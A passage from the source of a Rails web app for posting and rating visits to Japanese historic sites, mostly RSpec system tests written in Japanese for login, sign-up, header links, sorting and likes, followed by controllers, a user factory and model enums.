spot.created_at.strftime("%Yๅนด%-mๆœˆ%-dๆ—ฅ") expect(page).to have_content other_spot.created_at.strftime("%Yๅนด%-mๆœˆ%-dๆ—ฅ") end it 'ๅ„ใ‚นใƒใƒƒใƒˆใฎๆฅ่จชๆ—ฅใŒ่กจ็คบใ•ใ‚Œใ‚‹' do expect(page).to have_content spot.visited_day.strftime("%Yๅนด%-mๆœˆ%-dๆ—ฅ") expect(page).to have_content other_spot.visited_day.strftime("%Yๅนด%-mๆœˆ%-dๆ—ฅ") end it 'ๅ„ใ‚นใƒใƒƒใƒˆใฎใ„ใ„ใญใƒœใ‚ฟใƒณใŒ่กจ็คบใ•ใ‚Œใ‚‹' do expect(page).to have_link '', href: spot_favorites_path(spot) expect(page).to have_link '', href: spot_favorites_path(other_spot) end it 'ๅ„ใ‚นใƒใƒƒใƒˆใฎใ„ใ„ใญๆ•ฐใŒ่กจ็คบใ•ใ‚Œใ‚‹' do expect(page).to have_content spot.favorites.count expect(page).to have_content other_spot.favorites.count end end context 'ใ‚ฝใƒผใƒˆๆฉŸ่ƒฝใฎใƒ†ใ‚นใƒˆ(ใ‚ญใƒผใƒฏใƒผใƒ‰่ฉณ็ดฐ็”ป้ข)' do it 'ใ‚ฟใ‚คใƒˆใƒซใฎใ‚ฝใƒผใƒˆ๏ผšๆญฃใ—ใ่กจ็คบใ•ใ‚Œใ‚‹ใ‹' do click_link 'ใ‚ฟใ‚คใƒˆใƒซ' # ๆ˜‡้ † first_spot_link = find_all('a')[10].native.inner_text expect(first_spot_link).to match('ๅคงไป™้™ตๅคๅขณ') click_link 'ใ‚ฟใ‚คใƒˆใƒซ' # ้™้ † first_spot_link = find_all('a')[10].native.inner_text expect(first_spot_link).to match('็จฒ่ทๅฑฑๅคๅขณ') end it 'ๆ‰€ๅœจๅœฐใฎใ‚ฝใƒผใƒˆ๏ผšๆญฃใ—ใ่กจ็คบใ•ใ‚Œใ‚‹ใ‹' do click_link 'ๆ‰€ๅœจๅœฐ' # ๆ˜‡้ † first_spot_link = find_all('a')[10].native.inner_text expect(first_spot_link).to match('็จฒ่ทๅฑฑๅคๅขณ') click_link 'ๆ‰€ๅœจๅœฐ' # ้™้ † first_spot_link = find_all('a')[10].native.inner_text expect(first_spot_link).to match('ๅคงไป™้™ตๅคๅขณ') end it 'ๆŠ•็จฟๆ—ฅใฎใ‚ฝใƒผใƒˆ๏ผšๆญฃใ—ใ่กจ็คบใ•ใ‚Œใ‚‹ใ‹' do click_link 'ๆŠ•็จฟๆ—ฅ' # ๆ˜‡้ † first_spot_link = find_all('a')[10].native.inner_text expect(first_spot_link).to match('็จฒ่ทๅฑฑๅคๅขณ') click_link 'ๆŠ•็จฟๆ—ฅ' # ้™้ † first_spot_link = find_all('a')[10].native.inner_text expect(first_spot_link).to match('ๅคงไป™้™ตๅคๅขณ') end it 'ๆฅ่จชๆ—ฅใฎใ‚ฝใƒผใƒˆ๏ผšๆญฃใ—ใ่กจ็คบใ•ใ‚Œใ‚‹ใ‹' do click_link 'ๆฅ่จชๆ—ฅ' # ๆ˜‡้ † first_spot_link = find_all('a')[10].native.inner_text expect(first_spot_link).to match('ๅคงไป™้™ตๅคๅขณ') click_link 'ๆฅ่จชๆ—ฅ' # ้™้ † first_spot_link = find_all('a')[10].native.inner_text expect(first_spot_link).to match('็จฒ่ทๅฑฑๅคๅขณ') end it '่ฉ•ไพกใฎใ‚ฝใƒผใƒˆ๏ผšๆญฃใ—ใ่กจ็คบใ•ใ‚Œใ‚‹ใ‹' do click_link '่ฉ•ไพก' # ๆ˜‡้ † first_spot_link = find_all('a')[10].native.inner_text expect(first_spot_link).to match('ๅคงไป™้™ตๅคๅขณ') click_link '่ฉ•ไพก' # ้™้ † first_spot_link = find_all('a')[10].native.inner_text expect(first_spot_link).to match('็จฒ่ทๅฑฑๅคๅขณ') end it 'ใ„ใ„ใญใฎใ‚ฝใƒผใƒˆ๏ผšๆญฃใ—ใ่กจ็คบใ•ใ‚Œใ‚‹ใ‹' do click_link 'ใ„ใ„ใญ' #ๆ˜‡้ † first_spot_link = find_all('a')[10].native.inner_text expect(first_spot_link).to match('ๅคงไป™้™ตๅคๅขณ') click_link 'ใ„ใ„ใญ' #้™้ † first_spot_link = find_all('a')[10].native.inner_text expect(first_spot_link).to match('็จฒ่ทๅฑฑๅคๅขณ') end end end describe 'ใ‚ขใƒใ‚ฆใƒˆ็”ป้ขใฎใƒ†ใ‚นใƒˆ' do before do visit '/about' end context '่กจ็คบๅ†…ๅฎนใฎ็ขบ่ช' do it 'URLใŒๆญฃใ—ใ„' do expect(current_path).to eq '/about' end end end describe 'ใƒ˜ใƒƒใƒ€ใƒผใฎใƒ†ใ‚นใƒˆ: ใƒญใ‚ฐใ‚คใƒณใ—ใฆใ„ใชใ„ๅ ดๅˆ' do before do visit top_path end context '่กจ็คบๅ†…ๅฎนใฎ็ขบ่ช' do it 'ใ‚ฟใ‚คใƒˆใƒซใŒ่กจ็คบใ•ใ‚Œใ‚‹' do expect(page).to have_content 'JapanSiteInfo' end it 'ใ‚ขใƒใ‚ฆใƒˆใƒชใƒณใ‚ฏใŒ่กจ็คบใ•ใ‚Œใ‚‹: ๅทฆไธŠใ‹ใ‚‰2็•ช็›ฎใฎใƒชใƒณใ‚ฏใŒใ€ŒJSIใจใฏ๏ผŸใ€ใงใ‚ใ‚‹' do about_link = find_all('a')[1].native.inner_text expect(about_link).to match('JSIใจใฏ๏ผŸ') end it 'ๆ–ฐ่ฆ็™ป้Œฒใƒชใƒณใ‚ฏใŒ่กจ็คบใ•ใ‚Œใ‚‹: ๅทฆไธŠใ‹ใ‚‰3็•ช็›ฎใฎใƒชใƒณใ‚ฏใŒใ€Œๆ–ฐ่ฆ็™ป้Œฒใ€ใงใ‚ใ‚‹' do signup_link = find_all('a')[2].native.inner_text expect(signup_link).to match('ๆ–ฐ่ฆ็™ป้Œฒ') end it 'ใƒญใ‚ฐใ‚คใƒณใƒชใƒณใ‚ฏใŒ่กจ็คบใ•ใ‚Œใ‚‹: ๅทฆไธŠใ‹ใ‚‰4็•ช็›ฎใฎใƒชใƒณใ‚ฏใŒใ€Œใƒญใ‚ฐใ‚คใƒณใ€ใงใ‚ใ‚‹' do login_link = find_all('a')[3].native.inner_text expect(login_link).to match('ใƒญใ‚ฐใ‚คใƒณ') end end context 'ใƒชใƒณใ‚ฏใฎๅ†…ๅฎนใ‚’็ขบ่ช' do subject { current_path } it 'ใ€ŒJapanSiteInfoใ€ใ‚’ๆŠผใ™ใจใ€ใƒˆใƒƒใƒ—็”ป้ขใซ้ท็งปใ™ใ‚‹' do home_link = find_all('a')[0].native.inner_text home_link = home_link.delete(' ') home_link.gsub!(/\n/, '') click_link home_link is_expected.to eq '/' end it 'ใ€ŒJSIใจใฏ๏ผŸใ€ใ‚’ๆŠผใ™ใจใ€ใ‚ขใƒใ‚ฆใƒˆ็”ป้ขใซ้ท็งปใ™ใ‚‹' do about_link = find_all('a')[1].native.inner_text about_link = about_link.gsub(/\n/, '').gsub(/\A\s*/, '').gsub(/\s*\Z/, '') click_link about_link is_expected.to eq '/about' end it 'ใ€Œๆ–ฐ่ฆ็™ป้Œฒใ€ใ‚’ๆŠผใ™ใจใ€ๆ–ฐ่ฆ็™ป้Œฒ็”ป้ขใซ้ท็งปใ™ใ‚‹' do signup_link = find_all('a')[2].native.inner_text signup_link = signup_link.gsub(/\n/, '').gsub(/\A\s*/, '').gsub(/\s*\Z/, '') click_link signup_link is_expected.to eq '/users/sign_up' end it 'ใ€Œใƒญใ‚ฐใ‚คใƒณใ€ใ‚’ๆŠผใ™ใจใ€ใƒญใ‚ฐใ‚คใƒณ็”ป้ขใซ้ท็งปใ™ใ‚‹' do login_link = find_all('a')[3].native.inner_text login_link = login_link.gsub(/\n/, '').gsub(/\A\s*/, '').gsub(/\s*\Z/, '') click_link login_link is_expected.to eq '/users/sign_in' end end end describe 'ใƒฆใƒผใ‚ถๆ–ฐ่ฆ็™ป้Œฒใฎใƒ†ใ‚นใƒˆ' do before do visit new_user_registration_path end context '่กจ็คบๅ†…ๅฎนใฎ็ขบ่ช' do it 'URLใŒๆญฃใ—ใ„' do expect(current_path).to eq '/users/sign_up' end it 'ใ€Œๆ–ฐ่ฆไผšๅ“ก็™ป้Œฒใ€ใจ่กจ็คบใ•ใ‚Œใ‚‹' do expect(page).to have_content 'ๆ–ฐ่ฆไผšๅ“ก็™ป้Œฒ' end it 'ใ€Œๆฐๅ(ใƒ•ใƒซใƒใƒผใƒ )ใ€ใƒ•ใ‚ฉใƒผใƒ ใŒ่กจ็คบใ•ใ‚Œใ‚‹' do expect(page).to have_field 'user[fullname]' end it 'ใ€Œใƒ‹ใƒƒใ‚ฏใƒใƒผใƒ ใ€ใƒ•ใ‚ฉใƒผใƒ ใŒ่กจ็คบใ•ใ‚Œใ‚‹' do expect(page).to have_field 'user[nickname]' end it 'ใ€Œใƒกใƒผใƒซใ‚ขใƒ‰ใƒฌใ‚นใ€ใƒ•ใ‚ฉใƒผใƒ ใŒ่กจ็คบใ•ใ‚Œใ‚‹' do expect(page).to have_field 'user[email]' end it 'ใ€Œๆ€งๅˆฅใ€ใƒ•ใ‚ฉใƒผใƒ ใŒ่กจ็คบใ•ใ‚Œใ‚‹' do expect(page).to have_field 'user[sex]' end it 'ใ€Œ่ช•็”Ÿๆ—ฅใ€ใƒ•ใ‚ฉใƒผใƒ ใŒ่กจ็คบใ•ใ‚Œใ‚‹' do expect(page).to have_field 'user[birthday(1i)]' expect(page).to have_field 'user[birthday(2i)]' expect(page).to have_field 'user[birthday(3i)]' end it 'ใ€Œไฝๆ‰€(้ƒฝ้“ๅบœ็œŒ)ใ€ใƒ•ใ‚ฉใƒผใƒ ใŒ่กจ็คบใ•ใ‚Œใ‚‹' do expect(page).to have_field 'user[prefecture]' end it 'ใ€Œไฝๆ‰€(ๅธ‚ๅŒบ็”บๆ‘)ใ€ใƒ•ใ‚ฉใƒผใƒ ใŒ่กจ็คบใ•ใ‚Œใ‚‹' do expect(page).to have_field 'user[city]' end it 'ใ€Œใƒ‘ใ‚นใƒฏใƒผใƒ‰(่‹ฑๆ•ฐๅญ—6ๆ–‡ๅญ—ไปฅไธŠ)ใ€ใƒ•ใ‚ฉใƒผใƒ ใŒ่กจ็คบใ•ใ‚Œใ‚‹' do expect(page).to have_field 'user[password]' end it 'ใ€Œใƒ‘ใ‚นใƒฏใƒผใƒ‰๏ผˆ็ขบ่ช๏ผ‰ใ€ใƒ•ใ‚ฉใƒผใƒ ใŒ่กจ็คบใ•ใ‚Œใ‚‹' do expect(page).to have_field 'user[password_confirmation]' end it 'ๆ–ฐ่ฆ็™ป้Œฒใƒœใ‚ฟใƒณใŒ่กจ็คบใ•ใ‚Œใ‚‹' do expect(page).to have_button 'ๆ–ฐ่ฆ็™ป้Œฒ' end it 'ใ€Œไผšๅ“กใฎๆ–นใฏใ“ใกใ‚‰ใ‹ใ‚‰ใƒญใ‚ฐใ‚คใƒณใ€ใจ่กจ็คบใ•ใ‚Œใฆใ„ใ‚‹' do expect(page).to have_content 'ไผšๅ“กใฎๆ–นใฏใ“ใกใ‚‰ใ‹ใ‚‰ใƒญใ‚ฐใ‚คใƒณ' end it 'ใ€Œใ“ใกใ‚‰ใ€ใ‚’ๆŠผใ™ใจใƒญใ‚ฐใ‚คใƒณ็”ป้ขใซ้ท็งปใ™ใ‚‹' do log_in_link = find_all('a')[4] log_in_link.click expect(current_path).to eq('/users/sign_in') end end context 'ๆ–ฐ่ฆ็™ป้ŒฒๆˆๅŠŸใฎใƒ†ใ‚นใƒˆ' do before do fill_in 'user[fullname]', with: Faker::Lorem.characters(number: 10) fill_in 'user[nickname]', with: Faker::Lorem.characters(number: 10) fill_in 'user[email]', with: Faker::Internet.email choose('user_sex_male') select '2000', from: 'user_birthday_1i' select '1', from: 'user_birthday_2i' select '1', from: 'user_birthday_3i' select 'ๆฑไบฌ้ƒฝ', from: 'user_prefecture' fill_in 'user[city]', with: Faker::Lorem.characters(number: 10) fill_in 'user[password]', with: 'password' fill_in 'user[password_confirmation]', with: 'password' end it 'ๆญฃใ—ใๆ–ฐ่ฆ็™ป้Œฒใ•ใ‚Œใ‚‹' do expect { click_button 'ๆ–ฐ่ฆ็™ป้Œฒ' }.to change(User.all, :count).by(1) end it 'ๆ–ฐ่ฆ็™ป้ŒฒๅพŒใฎใƒชใƒ€ใ‚คใƒฌใ‚ฏใƒˆๅ…ˆใŒใ€ๆ–ฐ่ฆ็™ป้ŒฒใงใใŸใƒฆใƒผใ‚ถใฎ่ฉณ็ดฐ็”ป้ขใซใชใฃใฆใ„ใ‚‹' do click_button 'ๆ–ฐ่ฆ็™ป้Œฒ' expect(current_path).to eq '/users/' + User.last.id.to_s end end end describe 'ใƒฆใƒผใ‚ถใƒญใ‚ฐใ‚คใƒณ' do let(:user) { create(:user) } before do visit new_user_session_path end context '่กจ็คบๅ†…ๅฎนใฎ็ขบ่ช' do it 'URLใŒๆญฃใ—ใ„' do expect(current_path).to eq '/users/sign_in' end it 'ใ€Œใƒญใ‚ฐใ‚คใƒณใ€ใจ่กจ็คบใ•ใ‚Œใ‚‹' do expect(page).to have_content 'ใƒญใ‚ฐใ‚คใƒณ' end it 'ใ€Œใƒกใƒผใƒซใ‚ขใƒ‰ใƒฌใ‚นใ€ใƒ•ใ‚ฉใƒผใƒ ใŒ่กจ็คบใ•ใ‚Œใ‚‹' do expect(page).to have_field 'user[email]' end it 'ใ€Œใƒ‘ใ‚นใƒฏใƒผใƒ‰ใ€ใƒ•ใ‚ฉใƒผใƒ ใŒ่กจ็คบใ•ใ‚Œใ‚‹' do expect(page).to have_field 'user[password]' end it 'ใ€Œใƒญใ‚ฐใ‚คใƒณใ€ใƒœใ‚ฟใƒณใŒ่กจ็คบใ•ใ‚Œใ‚‹' do expect(page).to have_button 'ใƒญใ‚ฐใ‚คใƒณ' end it 'ใ€Œๅ…ฅๅŠ›ๆƒ…ๅ ฑใ‚’่จ˜ๆ†ถใ™ใ‚‹ใ€ใฎใƒใ‚งใƒƒใ‚ฏใƒœใƒƒใ‚ฏใ‚นใŒ่กจ็คบใ•ใ‚Œใฆใ„ใ‚‹' do expect(page).to have_field('user_remember_me') end it 'ใ€Œๆ–ฐ่ฆ็™ป้Œฒใฏใ“ใกใ‚‰ใ‹ใ‚‰ใ€ใจ่กจ็คบใ•ใ‚Œใฆใ„ใ‚‹' do expect(page).to have_content 'ๆ–ฐ่ฆ็™ป้Œฒใฏใ“ใกใ‚‰ใ‹ใ‚‰' end it 'ใ€Œใ“ใกใ‚‰(ๆ–ฐ่ฆ็™ป้Œฒ)ใ€ใ‚’ๆŠผใ™ใจๆ–ฐ่ฆ็™ป้Œฒ็”ป้ขใซ้ท็งปใ™ใ‚‹' do log_in_link = find_all('a')[4] log_in_link.click expect(current_path).to eq('/users/sign_up') end it 'ใ€Œใƒ‘ใ‚นใƒฏใƒผใƒ‰ใ‚’ใŠๅฟ˜ใ‚Œใฎๆ–นใฏใ“ใกใ‚‰ใ€ใจ่กจ็คบใ•ใ‚Œใฆใ„ใ‚‹' do expect(page).to have_content 'ใƒ‘ใ‚นใƒฏใƒผใƒ‰ใ‚’ใŠๅฟ˜ใ‚Œใฎๆ–นใฏใ“ใกใ‚‰' end it 'ใ€Œใ“ใกใ‚‰(ใƒ‘ใ‚นใƒฏใƒผใƒ‰)ใ€ใ‚’ๆŠผใ™ใจใƒ‘ใ‚นใƒฏใƒผใƒ‰็™บ่กŒ็”ป้ขใซ้ท็งปใ™ใ‚‹' do log_in_link = find_all('a')[5] log_in_link.click expect(current_path).to eq('/users/password/new') end end context 'ใƒญใ‚ฐใ‚คใƒณๆˆๅŠŸใฎใƒ†ใ‚นใƒˆ' do before do fill_in 'user[email]', with: user.email fill_in 'user[password]', with: user.password click_button 'ใƒญใ‚ฐใ‚คใƒณ' end it 'ใƒญใ‚ฐใ‚คใƒณๅพŒใฎใƒชใƒ€ใ‚คใƒฌใ‚ฏใƒˆๅ…ˆใŒใ€ใƒญใ‚ฐใ‚คใƒณใ—ใŸใƒฆใƒผใ‚ถใฎ่ฉณ็ดฐ็”ป้ขใซใชใฃใฆใ„ใ‚‹' do expect(current_path).to eq '/users/' + user.id.to_s end end context 'ใƒญใ‚ฐใ‚คใƒณๅคฑๆ•—ใฎใƒ†ใ‚นใƒˆ' do before do fill_in 'user[email]', with: '' fill_in 'user[password]', with: '' click_button 'ใƒญใ‚ฐใ‚คใƒณ' end it 'ใƒญใ‚ฐใ‚คใƒณใซๅคฑๆ•—ใ—ใ€ใƒญใ‚ฐใ‚คใƒณ็”ป้ขใซใƒชใƒ€ใ‚คใƒฌใ‚ฏใƒˆใ•ใ‚Œใ‚‹' do expect(current_path).to eq '/users/sign_in' end end end describe 'ใƒ˜ใƒƒใƒ€ใƒผใฎใƒ†ใ‚นใƒˆ: ใƒญใ‚ฐใ‚คใƒณใ—ใฆใ„ใ‚‹ๅ ดๅˆ' do let(:user) { create(:user) } before do visit new_user_session_path fill_in 'user[email]', with: user.email fill_in 'user[password]', with: user.password click_button 'ใƒญใ‚ฐใ‚คใƒณ' end context 'ใƒ˜ใƒƒใƒ€ใƒผใฎ่กจ็คบใ‚’็ขบ่ช' do it 'ใ‚ฟใ‚คใƒˆใƒซใŒ่กจ็คบใ•ใ‚Œใ‚‹' do expect(page).to have_content 'JapanSiteInfo' end it 'ใƒฆใƒผใ‚ถใƒผๅใŒ่กจ็คบใ•ใ‚Œใ‚‹: ๅทฆไธŠใ‹ใ‚‰2็•ช็›ฎใฎใƒชใƒณใ‚ฏใŒใ€Œ(ใƒฆใƒผใ‚ถใƒผใƒ‹ใƒƒใ‚ฏใƒใƒผใƒ )ใ•ใ‚“ใ€ใงใ‚ใ‚‹' do users_link = find_all('a')[1].native.inner_text expect(users_link).to match("#{user.nickname}ใ•ใ‚“") end it 'ใ€Œ้€š็Ÿฅใ€ใƒชใƒณใ‚ฏใŒ่กจ็คบใ•ใ‚Œใ‚‹: ๅทฆไธŠใ‹ใ‚‰3็•ช็›ฎใฎใƒชใƒณใ‚ฏใŒใ€Œ้€š็Ÿฅใ€ใงใ‚ใ‚‹' do books_link = find_all('a')[2].native.inner_text expect(books_link).to match('้€š็Ÿฅ') end it 'ใ€Œๆ–ฐ่ฆๆŠ•็จฟใ€ใƒชใƒณใ‚ฏใŒ่กจ็คบใ•ใ‚Œใ‚‹: ๅทฆไธŠใ‹ใ‚‰4็•ช็›ฎใฎใƒชใƒณใ‚ฏใŒใ€Œๆ–ฐ่ฆๆŠ•็จฟใ€ใงใ‚ใ‚‹' do books_link = find_all('a')[3].native.inner_text expect(books_link).to match('ๆ–ฐ่ฆๆŠ•็จฟ') end it 'ใ€Œไธ€่ฆงใƒปใใฎไป–ใ€ใƒชใƒณใ‚ฏใŒ่กจ็คบใ•ใ‚Œใ‚‹: ๅทฆไธŠใ‹ใ‚‰5็•ช็›ฎใฎใƒชใƒณใ‚ฏใŒใ€Œไธ€่ฆงใƒปใใฎไป–ใ€ใงใ‚ใ‚‹' do logout_link = find_all('a')[4].native.inner_text expect(logout_link).to match('ไธ€่ฆงใƒปใใฎไป–') end it 'ใ€Œใ‚นใƒใƒƒใƒˆไธ€่ฆงใ€ใƒชใƒณใ‚ฏใŒ่กจ็คบใ•ใ‚Œใ‚‹: ใ€Œไธ€่ฆงใƒปใใฎไป–ใ€ไธญใฎ1็•ช็›ฎใฎใƒชใƒณใ‚ฏใŒใ€Œใ‚นใƒใƒƒใƒˆไธ€่ฆงใ€ใงใ‚ใ‚‹' do logout_link = find_all('a')[5].native.inner_text expect(logout_link).to match('ใ‚นใƒใƒƒใƒˆไธ€่ฆง') end it 'ใ€Œใ‚ญใƒผใƒฏใƒผใƒ‰ไธ€่ฆงใ€ใƒชใƒณใ‚ฏใŒ่กจ็คบใ•ใ‚Œใ‚‹: ใ€Œไธ€่ฆงใƒปใใฎไป–ใ€ไธญใฎ2็•ช็›ฎใฎใƒชใƒณใ‚ฏใŒใ€Œใ‚ญใƒผใƒฏใƒผใƒ‰ไธ€่ฆงใ€ใงใ‚ใ‚‹' do logout_link = find_all('a')[6].native.inner_text expect(logout_link).to match('ใ‚ญใƒผใƒฏใƒผใƒ‰ไธ€่ฆง') end it 'ใ€Œใƒฆใƒผใ‚ถใƒผไธ€่ฆงใ€ใƒชใƒณใ‚ฏใŒ่กจ็คบใ•ใ‚Œใ‚‹: ใ€Œไธ€่ฆงใƒปใใฎไป–ใ€ไธญใฎ3็•ช็›ฎใฎใƒชใƒณใ‚ฏใŒใ€Œใƒฆใƒผใ‚ถใƒผไธ€่ฆงใ€ใงใ‚ใ‚‹' do logout_link = find_all('a')[7].native.inner_text expect(logout_link).to match('ใƒฆใƒผใ‚ถใƒผไธ€่ฆง') end it 'ใ€Œใƒฉใƒณใ‚ญใƒณใ‚ฐใ€ใƒชใƒณใ‚ฏใŒ่กจ็คบใ•ใ‚Œใ‚‹: ใ€Œไธ€่ฆงใƒปใใฎไป–ใ€ไธญใฎ4็•ช็›ฎใฎใƒชใƒณใ‚ฏใŒใ€Œใƒฉใƒณใ‚ญใƒณใ‚ฐใ€ใงใ‚ใ‚‹' do logout_link = find_all('a')[8].native.inner_text expect(logout_link).to match('ใƒฉใƒณใ‚ญใƒณใ‚ฐ') end it 'ใ€Œใƒญใ‚ฐใ‚ขใ‚ฆใƒˆใ€ใƒชใƒณใ‚ฏใŒ่กจ็คบใ•ใ‚Œใ‚‹: ๅทฆไธŠใ‹ใ‚‰6็•ช็›ฎใฎใƒชใƒณใ‚ฏใŒใ€Œใƒญใ‚ฐใ‚ขใ‚ฆใƒˆใ€ใงใ‚ใ‚‹' do logout_link = find_all('a')[9].native.inner_text expect(logout_link).to match('ใƒญใ‚ฐใ‚ขใ‚ฆใƒˆ') end end end describe 'ใƒฆใƒผใ‚ถใƒญใ‚ฐใ‚ขใ‚ฆใƒˆใฎใƒ†ใ‚นใƒˆ' do let(:user) { create(:user) } before do visit new_user_session_path fill_in 'user[email]', with: user.email fill_in 'user[password]', with: user.password click_button 'ใƒญใ‚ฐใ‚คใƒณ' logout_link = find_all('a')[9].native.inner_text logout_link = logout_link.gsub(/\n/, '').gsub(/\A\s*/, '').gsub(/\s*\Z/, '') click_link logout_link end context 'ใƒญใ‚ฐใ‚ขใ‚ฆใƒˆๆฉŸ่ƒฝใฎใƒ†ใ‚นใƒˆ' do it 'ๆญฃใ—ใใƒญใ‚ฐใ‚ขใ‚ฆใƒˆใงใใฆใ„ใ‚‹: ใƒญใ‚ฐใ‚ขใ‚ฆใƒˆๅพŒใฎใƒชใƒ€ใ‚คใƒฌใ‚ฏใƒˆๅ…ˆใซใŠใ„ใฆใ‚ขใƒใ‚ฆใƒˆ็”ป้ขใธใฎใƒชใƒณใ‚ฏใŒๅญ˜ๅœจใ™ใ‚‹' do expect(page).to have_link '', href: '/about' end it 'ใƒญใ‚ฐใ‚ขใ‚ฆใƒˆๅพŒใฎใƒชใƒ€ใ‚คใƒฌใ‚ฏใƒˆๅ…ˆใŒใ€ใƒˆใƒƒใƒ—ใซใชใฃใฆใ„ใ‚‹' do expect(current_path).to eq '/' end end end end describe '[STEP1] ใƒฆใƒผใ‚ถใƒญใ‚ฐใ‚คใƒณๅ‰ใฎใƒ†ใ‚นใƒˆ ใ„ใ„ใญๆฉŸ่ƒฝใฎใƒ†ใ‚นใƒˆ' do let(:user) { create(:user, profile_image: nil) } let!(:spot) { create(:spot, user: user, spot_image1: nil, spot_image2: nil, spot_image3: nil) } context 'ใƒˆใƒƒใƒ—็”ป้ขใงใฎใƒ†ใ‚นใƒˆ' do before do visit top_path end it 'ใ„ใ„ใญใ‚’ๆŠผใ™', js: true do expect do find("#like-#{spot.id}").click sleep 1 end.to change { spot.favorites.count }.by(1) expect(page).to have_css "#unlike-#{spot.id}" end end context 'ใ‚นใƒใƒƒใƒˆ่ฉณ็ดฐ็”ป้ขใงใฎใƒ†ใ‚นใƒˆ' do before do visit spot_path(spot) end it 'ใ„ใ„ใญใ‚’ๆŠผใ™', js: true do expect do find("#like-#{spot.id}").click sleep 1 end.to change { spot.favorites.count }.by(1) expect(page).to have_css "#unlike-#{spot.id}" end end context 'ใ‚นใƒใƒƒใƒˆไธ€่ฆง็”ป้ขใงใฎใƒ†ใ‚นใƒˆ' do before do visit spots_path end it 'ใ„ใ„ใญใ‚’ๆŠผใ™', js: true do expect do find("#like-#{spot.id}").click sleep 1 end.to change { spot.favorites.count }.by(1) expect(page).to have_css "#unlike-#{spot.id}" end end end ``` keywords_controller.rb ```class KeywordsController < ApplicationController before_action :authenticate_user!, { only: [:index] } def show @keyword = Keyword.find(params[:id]) @q = @keyword.spots.ransack(params[:q]) @q.sorts = 'created_at desc' if @q.sorts.empty? @spots = @q.result(distinct: true).page(params[:page]).includes(:favorites) @cookies = cookies[:favorite_spot_id] end def index @q = Keyword.ransack(params[:q]) @q.sorts = 'updated_at desc' if @q.sorts.empty? @keywords = @q.result.page(params[:page]).includes(:spots) @rate_avg = @keywords.joins(:spots).group("keywords.id").average(:rate) end end ``` users.rb ```FactoryBot.define do factory :user do fullname { Faker::Lorem.characters(number: 10) } nickname { Faker::Lorem.characters(number: 10) } sex { '็”ทๆ€ง' } birthday { '1990-01-01' } prefecture { 'ๆฑไบฌ้ƒฝ' } city { Faker::Lorem.characters(number: 5) } email { Faker::Internet.email } profile_image { File.open("#{Rails.root}/app/assets/images/image7.jpg") } introduction { Faker::Lorem.characters(number: 20) } password { 'password' } password_confirmation { 'password' } factory :other_user do sex { 'ๅฅณๆ€ง' } birthday { '2000-01-01' } prefecture { 'ๅคง้˜ชๅบœ' } profile_image { File.open("#{Rails.root}/app/assets/images/image8.jpg") } end factory :other_user2 do birthday { '1995-01-01' } prefecture { 'ๆฒ–็ธ„็œŒ' } profile_image { File.open("#{Rails.root}/app/assets/images/image9.jpg") } end factory :search_user do nickname { 'ใƒใƒŠใ‚ณ' } sex { 'ๅฅณๆ€ง' } birthday { '1990-01-01' } prefecture { 'ๅƒ่‘‰็œŒ' } city { 'ๅ—ๆˆฟ็ทๅธ‚' } end factory :search_user2 do nickname { 'ใ‚ฟใƒญใƒผ' } birthday { '1980-01-01' } prefecture { 'ๅŸผ็މ็œŒ' } city { 'ๆ‰€ๆฒขๅธ‚' } end end end ``` application_record.rb ```class ApplicationRecord < ActiveRecord::Base self.abstract_class = true #ๆ€งๅˆฅ้ธๆŠž enum sex: { ็”ทๆ€ง: 0, ๅฅณๆ€ง: 1 } #้ƒฝ้“ๅบœ็œŒ้ธๆŠž enum prefecture: { ๅŒ—ๆตท้“: 1, ้’ๆฃฎ็œŒ: 2, ๅฒฉๆ‰‹็œŒ: 3, ๅฎฎๅŸŽ็œŒ: 4, ็ง‹็”ฐ็œŒ: 5, ๅฑฑๅฝข็œŒ: 6, ็ฆๅณถ็œŒ: 7, ่ŒจๅŸŽ็œŒ: 8, ๆ ƒๆœจ็œŒ: 9, ็พค้ฆฌ็œŒ: 10, ๅŸผ็މ็œŒ: 11, ๅƒ่‘‰็œŒ: 12, ๆฑไบฌ้ƒฝ: 13, ็ฅžๅฅˆๅท็œŒ: 14, ๆ–ฐๆฝŸ็œŒ: 15, ๅฏŒๅฑฑ็œŒ: 16, ็Ÿณๅท็œŒ: 17, ็ฆไบ•็œŒ: 18, ๅฑฑๆขจ็œŒ: 19, ้•ท้‡Ž็œŒ: 20, ๅฒ้˜œ็œŒ: 21, ้™ๅฒก็œŒ: 22, ๆ„›็Ÿฅ็œŒ: 23, ไธ‰้‡็œŒ: 24, ๆป‹่ณ€็œŒ: 25, ไบฌ้ƒฝๅบœ: 26, ๅคง้˜ชๅบœ: 27, ๅ…ตๅบซ็œŒ: 28, ๅฅˆ่‰ฏ็œŒ: 29, ๅ’ŒๆญŒๅฑฑ็œŒ: 30, ้ณฅๅ–็œŒ: 31, ๅณถๆ น็œŒ: 32, ๅฒกๅฑฑ็œŒ: 33, ๅบƒๅณถ็œŒ: 34, ๅฑฑๅฃ็œŒ: 35, ๅพณๅณถ็œŒ: 36, ้ฆ™ๅท็œŒ: 37, ๆ„›ๅช›็œŒ: 38, ้ซ˜็Ÿฅ็œŒ: 39, ็ฆๅฒก็œŒ: 40, ไฝ่ณ€็œŒ: 41, ้•ทๅดŽ็œŒ: 42, ็†Šๆœฌ็œŒ: 43, ๅคงๅˆ†็œŒ: 44, ๅฎฎๅดŽ็œŒ: 45, ้นฟๅ…ๅณถ็œŒ: 46, ๆฒ–็ธ„็œŒ: 47, } #ใ„ใ„ใญๆ•ฐใ‚ฝใƒผใƒˆ(SQLๅญฆ็ฟ’ใฎใŸใ‚่จ˜่ฟฐ) ransacker :favorites_count do query = <<-SQL (SELECT COUNT(favorites.spot_id) as favorites_count FROM favorites WHERE favorites.spot_id = spots.id GROUP BY favorites.spot_id) SQL Arel.sql(query) end #ใ‚นใƒใƒƒใƒˆ่ฉ•ไพกๅนณๅ‡ใ‚ฝใƒผใƒˆ(SQLๅญฆ็ฟ’ใฎใŸใ‚่จ˜่ฟฐ) ransacker :rate_average do query = <<-SQL (SELECT AVG(spots.rate) as rate_average FROM keyword_relationships, spots WHERE keywords.id = keyword_relationships.keyword_id AND spots.id = keyword_relationships.spot_id GROUP BY keyword_relationships.keyword_id) SQL Arel.sql(query) end end ``` rankings_controller.rb ```class RankingsController < ApplicationController before_action :authenticate_user!, { only: [:user_favorite, :spot_favorite] } def user_favorite @all_ranks = Spot.joins(:favorites).group("spots.user_id").count("favorites.id") @spots_count = User.joins(:spots).group("user_id").count("spots.id") end def spot_favorite @all_ranks = Spot.includes(:user, :favorites).create_spot_favorite_ranks end end ``` notifications_helper.rb ```module NotificationsHelper 